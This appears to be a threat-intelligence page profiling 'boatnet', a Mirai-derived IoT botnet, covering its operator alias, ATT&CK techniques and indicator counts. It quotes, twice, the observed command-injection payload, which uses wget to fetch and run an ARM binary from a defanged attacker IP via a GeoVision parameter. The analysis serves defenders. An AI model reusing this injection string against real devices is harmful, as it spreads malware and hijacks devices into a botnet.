Loading malware…
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The operator self-identifies as "0cl" (from the killer module's log prefix) and names the binaries "boatnet" internally.
6 distinct techniques documented for this family, organized by ATT&CK tactic.
IoT malware families often exploit network vulnerabilities to self-propagate... We observed its characteristic exploitation payload embedded directly in HTTP requests.
$( cd /tmp ; wget http://176.65.144[.]253/hiddenbin/boatnet.arm7 ; chmod 777 boatnet.arm7 ; ./boatnet.arm7 geovision ; )
$( cd /tmp ; wget http://176.65.144[.]253/hiddenbin/boatnet.arm7 ; chmod 777 boatnet.arm7 ; ./boatnet.arm7 geovision ; )
Mozi is a Mirai-derived P2P botnet known for targeting IoT devices with MIPS, ARM and x86 architectures.
Malware samples often bypass DNS entirely, communicating directly to IP addresses instead. Our analysis of 4 million dynamic analysis reports indicates that almost half (45.32%) of malware samples with any command-and-control (C2) activity made at least one direct-to-IP (D2IP) address connection.
Once we decoded the payload, we found that the botnet is injecting commands into the szSrvIpAddr option to download and execute an ARM-based Mirai malware file named “boatnet”.
6 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.